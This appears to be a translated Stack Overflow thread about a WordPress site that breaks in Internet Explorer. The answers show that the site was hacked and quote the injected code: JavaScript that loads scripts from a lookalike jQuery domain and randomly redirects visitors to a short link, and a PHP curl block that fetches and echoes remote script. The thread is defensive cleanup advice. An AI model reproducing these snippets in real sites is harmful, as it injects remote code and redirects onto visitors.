Wordpress CSS 在 Internet Explorer 中不起作用

Posted

技术标签:

【中文标题】Wordpress CSS 在 Internet Explorer 中不起作用【英文标题】:Wordpress CSS doesn't work in Internet Explorer 【发布时间】:2012-01-23 02:36:22 【问题描述】:

当我使用 IE 9-8-7 浏览我的网站时,似乎有些问题。它与 Chrome、Safari、Firefox 和 Opera 完美呈现。可能是什么原因?谢谢。

http://www.omergencay.com

Internet Explorer 中的错误视图

【问题讨论】:

【参考方案1】:

这些是 html 的第一行:

<script type="text/javascript"> if(!document.referrer || document.referrer == '')  document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>');  else  document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>');  </script>

<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0) 
window.location = "http://bit.ly/vjqJ4w";

</script><!DOCTYPE html>

在文档类型之前有东西会将 IE 扔进Quirks Mode,这就是您的网站在 IE 中无法正确显示的原因。

更重要的是,您的网站似乎已被黑客入侵。浏览到 hxxp://bit.ly/vjqJ4w 会将您带到您可能不想去的地方。

【讨论】:

感谢您的警告。该 javascript 仅在 Internet Explorer 中加载。我想知道“cpahits.com”的东西来自哪里。谢谢你。但是如何从 Internet Explorer 渲染中删除该推荐脚本? 你是正确的,JavaScript 并不总是加载。它可以在任何浏览器中加载(至少,我已经验证它也可以在 Firefox 中加载)。但是,它似乎只在没有设置推荐人时加载。如需帮助修复您的网站,请尝试 codex.wordpress.org/FAQ_My_site_was_hacked 和 wordpress.stackexchange.com/questions/19696/…。 我停用了所有插件,但没有任何改变。现在我正在沿着文件一一搜索“hxxp://bit.ly/vjqJ4w” url 以找到漏洞利用。感谢您的帮助。 这更复杂。您需要弄清楚您的网站最初是如何被黑客入侵的,并关闭漏洞,否则它可能会再次发生。希望我链接到的资源会有所帮助。 我安装了新的wordpress。并且没有向任何人宣传。我认为它可能来自主题文件。我会看看你的两个链接。再次感谢您。【参考方案2】:

其实解决这个问题很简单。

但让我先解释一下是什么原因造成的。

没有。 1 个原因是您或您的开发人员可能从warez 分销商网站获取了一些破解/黑客/无效的主题。

所以来解决这个问题。只需在主题根文件夹下打开 index.php

然后寻找这个:

<?php
if(function_exists('curl_init'))

    $url = "http://www.j-query.org/jquery-1.6.3.min.js"; 
    $ch = curl_init();  
    $timeout = 5;  
    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  
    curl_close($ch); 
    echo "$data";

?>

删除整个脚本,您的网站应该可以正常工作。

【讨论】:

【参考方案3】:

某些东西迫使 IE 在您的页面中以怪癖模式(即 IE5.5 模式)运行。当你按下 F12 时,你可以看到当前的文档模式并改变它。

当我查看源代码时,文档类型似乎设置正确...我看不到 30 点看到的内容。

很有可能您正在使用某种类型的 wordpress 插件,这在某些情况下会导致问题(这可以解释为什么 bingjie2680 没有注意到任何问题。

【讨论】:

脚本似乎只有在您查看 IE 源代码时才会出现。【参考方案4】:

尝试修复您的代码错误并重新验证。 [Invalid] Markup Validation of omergencay.com - W3C Markup Validator。在验证报告中向下滚动以查看行号和源代码。

【讨论】:

以上是关于Wordpress CSS 在 Internet Explorer 中不起作用的主要内容,如果未能解决你的问题,请参考以下文章

如何在 Internet Explorer 中为实时网站保存开发人员工具中的 css 更改

Internet Explorer 上的 CSS 错误阴影效果(纸张卷曲)

WordPress 插件内容未在 Internet Explorer 中显示

css 在Internet Explorer上隐藏滚动条

CSS 使用Border Radius在Internet Explorer,Firefox和Safari中使用CSS圆角

如何在wordpress主题中注册html页面的Css